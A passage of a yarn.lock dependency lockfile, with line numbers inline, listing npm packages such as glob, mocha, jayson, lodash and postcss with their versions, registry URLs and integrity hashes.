"^4.0.3" 734 | 735 | glob@7.2.0: 736 | version "7.2.0" 737 | resolved "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz" 738 | integrity sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q== 739 | dependencies: 740 | fs.realpath "^1.0.0" 741 | inflight "^1.0.4" 742 | inherits "2" 743 | minimatch "^3.0.4" 744 | once "^1.3.0" 745 | path-is-absolute "^1.0.0" 746 | 747 | growl@1.10.5: 748 | version "1.10.5" 749 | resolved "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz" 750 | integrity sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA== 751 | 752 | has-flag@^4.0.0: 753 | version "4.0.0" 754 | resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz" 755 | integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== 756 | 757 | has@^1.0.3: 758 | version "1.0.3" 759 | resolved "https://registry.npmjs.org/has/-/has-1.0.3.tgz" 760 | integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== 761 | dependencies: 762 | function-bind "^1.1.1" 763 | 764 | hash.js@1.1.7, hash.js@^1.0.0, hash.js@^1.0.3: 765 | version "1.1.7" 766 | resolved "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz" 767 | integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA== 768 | dependencies: 769 | inherits "^2.0.3" 770 | minimalistic-assert "^1.0.1" 771 | 772 | he@1.2.0: 773 | version "1.2.0" 774 | resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz" 775 | integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== 776 | 777 | hmac-drbg@^1.0.1: 778 | version "1.0.1" 779 | resolved "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz" 780 | integrity sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg== 781 | dependencies: 782 | hash.js "^1.0.3" 783 | minimalistic-assert "^1.0.0" 784 | minimalistic-crypto-utils "^1.0.1" 785 | 786 | ieee754@^1.2.1: 787 | version "1.2.1" 788 | resolved "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz" 789 | integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA== 790 | 791 | inflight@^1.0.4: 792 | version "1.0.6" 793 | resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz" 794 | integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== 795 | dependencies: 796 | once "^1.3.0" 797 | wrappy "1" 798 | 799 | inherits@2, inherits@^2.0.3, inherits@^2.0.4: 800 | version "2.0.4" 801 | resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz" 802 | integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== 803 | 804 | is-binary-path@~2.1.0: 805 | version "2.1.0" 806 | resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz" 807 | integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== 808 | dependencies: 809 | binary-extensions "^2.0.0" 810 | 811 | is-core-module@^2.8.1: 812 | version "2.9.0" 813 | resolved "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz" 814 | integrity sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A== 815 | dependencies: 816 | has "^1.0.3" 817 | 818 | is-extglob@^2.1.1: 819 | version "2.1.1" 820 | resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz" 821 | integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== 822 | 823 | is-fullwidth-code-point@^3.0.0: 824 | version "3.0.0" 825 | resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz" 826 | integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== 827 | 828 | is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1: 829 | version "4.0.3" 830 | resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz" 831 | integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== 832 | dependencies: 833 | is-extglob "^2.1.1" 834 | 835 | is-number@^7.0.0: 836 | version "7.0.0" 837 | resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz" 838 | integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== 839 | 840 | is-plain-obj@^2.1.0: 841 | version "2.1.0" 842 | resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz" 843 | integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== 844 | 845 | is-unicode-supported@^0.1.0: 846 | version "0.1.0" 847 | resolved "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz" 848 | integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw== 849 | 850 | isexe@^2.0.0: 851 | version "2.0.0" 852 | resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz" 853 | integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw== 854 | 855 | isomorphic-ws@^4.0.1: 856 | version "4.0.1" 857 | resolved "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz" 858 | integrity sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w== 859 | 860 | jayson@^3.4.4: 861 | version "3.6.6" 862 | resolved "https://registry.npmjs.org/jayson/-/jayson-3.6.6.tgz" 863 | integrity sha512-f71uvrAWTtrwoww6MKcl9phQTC+56AopLyEenWvKVAIMz+q0oVGj6tenLZ7Z6UiPBkJtKLj4kt0tACllFQruGQ== 864 | dependencies: 865 | "@types/connect" "^3.4.33" 866 | "@types/express-serve-static-core" "^4.17.9" 867 | "@types/lodash" "^4.14.159" 868 | "@types/node" "^12.12.54" 869 | "@types/ws" "^7.4.4" 870 | JSONStream "^1.3.5" 871 | commander "^2.20.3" 872 | delay "^5.0.0" 873 | es6-promisify "^5.0.0" 874 | eyes "^0.1.8" 875 | isomorphic-ws "^4.0.1" 876 | json-stringify-safe "^5.0.1" 877 | lodash "^4.17.20" 878 | uuid "^8.3.2" 879 | ws "^7.4.5" 880 | 881 | js-sha256@^0.9.0: 882 | version "0.9.0" 883 | resolved "https://registry.npmjs.org/js-sha256/-/js-sha256-0.9.0.tgz" 884 | integrity sha512-sga3MHh9sgQN2+pJ9VYZ+1LPwXOxuBJBA5nrR5/ofPfuiJBE2hnjsaN8se8JznOmGLN2p49Pe5U/ttafcs/apA== 885 | 886 | js-sha3@^0.8.0: 887 | version "0.8.0" 888 | resolved "https://registry.npmjs.org/js-sha3/-/js-sha3-0.8.0.tgz" 889 | integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q== 890 | 891 | js-yaml@4.1.0: 892 | version "4.1.0" 893 | resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz" 894 | integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== 895 | dependencies: 896 | argparse "^2.0.1" 897 | 898 | json-stringify-safe@^5.0.1: 899 | version "5.0.1" 900 | resolved "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz" 901 | integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA== 902 | 903 | json5@^1.0.1: 904 | version "1.0.1" 905 | resolved "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz" 906 | integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow== 907 | dependencies: 908 | minimist "^1.2.0" 909 | 910 | jsonparse@^1.2.0: 911 | version "1.3.1" 912 | resolved "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz" 913 | integrity sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg== 914 | 915 | lilconfig@^2.0.5: 916 | version "2.0.5" 917 | resolved "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz" 918 | integrity sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg== 919 | 920 | locate-path@^6.0.0: 921 | version "6.0.0" 922 | resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz" 923 | integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== 924 | dependencies: 925 | p-locate "^5.0.0" 926 | 927 | lodash@^4.17.20: 928 | version "4.17.21" 929 | resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz" 930 | integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== 931 | 932 | log-symbols@4.1.0: 933 | version "4.1.0" 934 | resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz" 935 | integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg== 936 | dependencies: 937 | chalk "^4.1.0" 938 | is-unicode-supported "^0.1.0" 939 | 940 | loupe@^2.3.1: 941 | version "2.3.4" 942 | resolved "https://registry.npmjs.org/loupe/-/loupe-2.3.4.tgz" 943 | integrity sha512-OvKfgCC2Ndby6aSTREl5aCCPTNIzlDfQZvZxNUrBrihDhL3xcrYegTblhmEiCrg2kKQz4XsFIaemE5BF4ybSaQ== 944 | dependencies: 945 | get-func-name "^2.0.0" 946 | 947 | lower-case@^2.0.2: 948 | version "2.0.2" 949 | resolved "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz" 950 | integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg== 951 | dependencies: 952 | tslib "^2.0.3" 953 | 954 | make-error@^1.1.1: 955 | version "1.3.6" 956 | resolved "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz" 957 | integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw== 958 | 959 | merge2@^1.3.0: 960 | version "1.4.1" 961 | resolved "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz" 962 | integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg== 963 | 964 | micromatch@^4.0.4: 965 | version "4.0.5" 966 | resolved "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz" 967 | integrity sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA== 968 | dependencies: 969 | braces "^3.0.2" 970 | picomatch "^2.3.1" 971 | 972 | minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: 973 | version "1.0.1" 974 | resolved "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz" 975 | integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== 976 | 977 | minimalistic-crypto-utils@^1.0.1: 978 | version "1.0.1" 979 | resolved "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz" 980 | integrity sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg== 981 | 982 | minimatch@4.2.1: 983 | version "4.2.1" 984 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-4.2.1.tgz" 985 | integrity sha512-9Uq1ChtSZO+Mxa/CL1eGizn2vRn3MlLgzhT0Iz8zaY8NdvxvB0d5QdPFmCKf7JKA9Lerx5vRrnwO03jsSfGG9g== 986 | dependencies: 987 | brace-expansion "^1.1.7" 988 | 989 | minimatch@^3.0.4: 990 | version "3.1.2" 991 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz" 992 | integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== 993 | dependencies: 994 | brace-expansion "^1.1.7" 995 | 996 | minimist@^1.2.0, minimist@^1.2.6: 997 | version "1.2.6" 998 | resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz" 999 | integrity sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q== 1000 | 1001 | mkdirp@^0.5.1: 1002 | version "0.5.6" 1003 | resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz" 1004 | integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw== 1005 | dependencies: 1006 | minimist "^1.2.6" 1007 | 1008 | mocha@^9.0.3: 1009 | version "9.2.2" 1010 | resolved "https://registry.npmjs.org/mocha/-/mocha-9.2.2.tgz" 1011 | integrity sha512-L6XC3EdwT6YrIk0yXpavvLkn8h+EU+Y5UcCHKECyMbdUIxyMuZj4bX4U9e1nvnvUUvQVsV2VHQr5zLdcUkhW/g== 1012 | dependencies: 1013 | "@ungap/promise-all-settled" "1.1.2" 1014 | ansi-colors "4.1.1" 1015 | browser-stdout "1.3.1" 1016 | chokidar "3.5.3" 1017 | debug "4.3.3" 1018 | diff "5.0.0" 1019 | escape-string-regexp "4.0.0" 1020 | find-up "5.0.0" 1021 | glob "7.2.0" 1022 | growl "1.10.5" 1023 | he "1.2.0" 1024 | js-yaml "4.1.0" 1025 | log-symbols "4.1.0" 1026 | minimatch "4.2.1" 1027 | ms "2.1.3" 1028 | nanoid "3.3.1" 1029 | serialize-javascript "6.0.0" 1030 | strip-json-comments "3.1.1" 1031 | supports-color "8.1.1" 1032 | which "2.0.2" 1033 | workerpool "6.2.0" 1034 | yargs "16.2.0" 1035 | yargs-parser "20.2.4" 1036 | yargs-unparser "2.0.0" 1037 | 1038 | ms@2.1.2: 1039 | version "2.1.2" 1040 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz" 1041 | integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== 1042 | 1043 | ms@2.1.3: 1044 | version "2.1.3" 1045 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz" 1046 | integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== 1047 | 1048 | nanoid@3.3.1: 1049 | version "3.3.1" 1050 | resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.1.tgz" 1051 | integrity sha512-n6Vs/3KGyxPQd6uO0eH4Bv0ojGSUvuLlIHtC3Y0kEO23YRge8H9x1GCzLn28YX0H66pMkxuaeESFq4tKISKwdw== 1052 | 1053 | nanoid@^3.3.4: 1054 | version "3.3.4" 1055 | resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz" 1056 | integrity sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw== 1057 | 1058 | no-case@^3.0.4: 1059 | version "3.0.4" 1060 | resolved "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz" 1061 | integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg== 1062 | dependencies: 1063 | lower-case "^2.0.2" 1064 | tslib "^2.0.3" 1065 | 1066 | node-addon-api@^2.0.0: 1067 | version "2.0.2" 1068 | resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz" 1069 | integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA== 1070 | 1071 | node-fetch@2, node-fetch@2.6.7: 1072 | version "2.6.7" 1073 | resolved "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz" 1074 | integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ== 1075 | dependencies: 1076 | whatwg-url "^5.0.0" 1077 | 1078 | node-gyp-build@^4.2.0, node-gyp-build@^4.3.0: 1079 | version "4.4.0" 1080 | resolved "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.4.0.tgz" 1081 | integrity sha512-amJnQCcgtRVw9SvoebO3BKGESClrfXGCUTX9hSn1OuGQTQBOZmVd0Z0OlecpuRksKvbsUqALE8jls/ErClAPuQ== 1082 | 1083 | node-releases@^2.0.3: 1084 | version "2.0.5" 1085 | resolved "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz" 1086 | integrity sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q== 1087 | 1088 | normalize-path@^3.0.0, normalize-path@~3.0.0: 1089 | version "3.0.0" 1090 | resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz" 1091 | integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== 1092 | 1093 | normalize-range@^0.1.2: 1094 | version "0.1.2" 1095 | resolved "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz" 1096 | integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA== 1097 | 1098 | object-hash@^3.0.0: 1099 | version "3.0.0" 1100 | resolved "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz" 1101 | integrity sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw== 1102 | 1103 | once@^1.3.0: 1104 | version "1.4.0" 1105 | resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz" 1106 | integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E= 1107 | dependencies: 1108 | wrappy "1" 1109 | 1110 | p-limit@^3.0.2: 1111 | version "3.1.0" 1112 | resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz" 1113 | integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== 1114 | dependencies: 1115 | yocto-queue "^0.1.0" 1116 | 1117 | p-locate@^5.0.0: 1118 | version "5.0.0" 1119 | resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz" 1120 | integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== 1121 | dependencies: 1122 | p-limit "^3.0.2" 1123 | 1124 | pako@^2.0.3: 1125 | version "2.0.4" 1126 | resolved "https://registry.npmjs.org/pako/-/pako-2.0.4.tgz" 1127 | integrity sha512-v8tweI900AUkZN6heMU/4Uy4cXRc2AYNRggVmTR+dEncawDJgCdLMximOVA2p4qO57WMynangsfGRb5WD6L1Bg== 1128 | 1129 | path-exists@^4.0.0: 1130 | version "4.0.0" 1131 | resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz" 1132 | integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== 1133 | 1134 | path-is-absolute@^1.0.0: 1135 | version "1.0.1" 1136 | resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz" 1137 | integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18= 1138 | 1139 | path-parse@^1.0.7: 1140 | version "1.0.7" 1141 | resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz" 1142 | integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw== 1143 | 1144 | pathval@^1.1.1: 1145 | version "1.1.1" 1146 | resolved "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz" 1147 | integrity sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ== 1148 | 1149 | picocolors@^1.0.0: 1150 | version "1.0.0" 1151 | resolved "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz" 1152 | integrity sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ== 1153 | 1154 | picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.3.1: 1155 | version "2.3.1" 1156 | resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz" 1157 | integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== 1158 | 1159 | postcss-js@^4.0.0: 1160 | version "4.0.0" 1161 | resolved "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz" 1162 | integrity sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ== 1163 | dependencies: 1164 | camelcase-css "^2.0.1" 1165 | 1166 | postcss-load-config@^3.1.4: 1167 | version "3.1.4" 1168 | resolved "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz" 1169 | integrity sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg== 1170 | dependencies: 1171 | lilconfig "^2.0.5" 1172 | yaml "^1.10.2" 1173 | 1174 | postcss-nested@5.0.6: 1175 | version "5.0.6" 1176 | resolved "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz" 1177 | integrity sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA== 1178 | dependencies: 1179 | postcss-selector-parser "^6.0.6" 1180 | 1181 | postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.6: 1182 | version "6.0.10" 1183 | resolved "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz" 1184 | integrity sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w== 1185 | dependencies: 1186 | cssesc "^3.0.0" 1187 | util-deprecate "^1.0.2" 1188 | 1189 | postcss-value-parser@^4.2.0: 1190 | version "4.2.0" 1191 | resolved "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz" 1192 | integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ== 1193 | 1194 | postcss@^8.4.12, postcss@^8.4.14: 1195 | version "8.4.14" 1196 | resolved "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz" 1197 | integrity sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig== 1198 | dependencies: 1199 | nanoid "^3.3.4" 1200 | picocolors "^1.0.0" 1201 | source-map-js "^1.0.2" 1202 | 1203 | prettier@^2.6.2: 1204 | version "2.6.2" 1205 | resolved "https://registry.npmjs.org/prettier/-/prettier-2.6.2.tgz" 1206 | integrity sha512-PkUpF+qoXTqhOeWL9fu7As8LXsIUZ1WYaJiY/a7McAQzxjk82OF0tibkFXVCDImZtWxbvojFjerkiLb0/q8mew== 1207 | 1208 | queue-microtask@^1.2.2: 1209 | version "1.2.3" 1210 | resolved "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz" 1211 | integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A== 1212 | 1213 | quick-lru@^5.1.1: 1214 | version "5.1.1" 1215 | resolved "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz" 1216 | integrity sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA== 1217 | 1218 | randombytes@^2.1.0: 1219 | version "2.1.0" 1220 | resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz" 1221 | integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== 1222 | dependencies: 1223 | safe-buffer "^5.1.0" 1224 | 1225 | readdirp@~3.6.0: 1226 | version "3.6.0" 1227 | resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz" 1228 | integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA== 1229 | dependencies: 1230 | picomatch "^2.2.1" 1231 | 1232 | regenerator-runtime@^0.13.4: 1233 | version "0.13.9" 1234 | resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz" 1235 | integrity 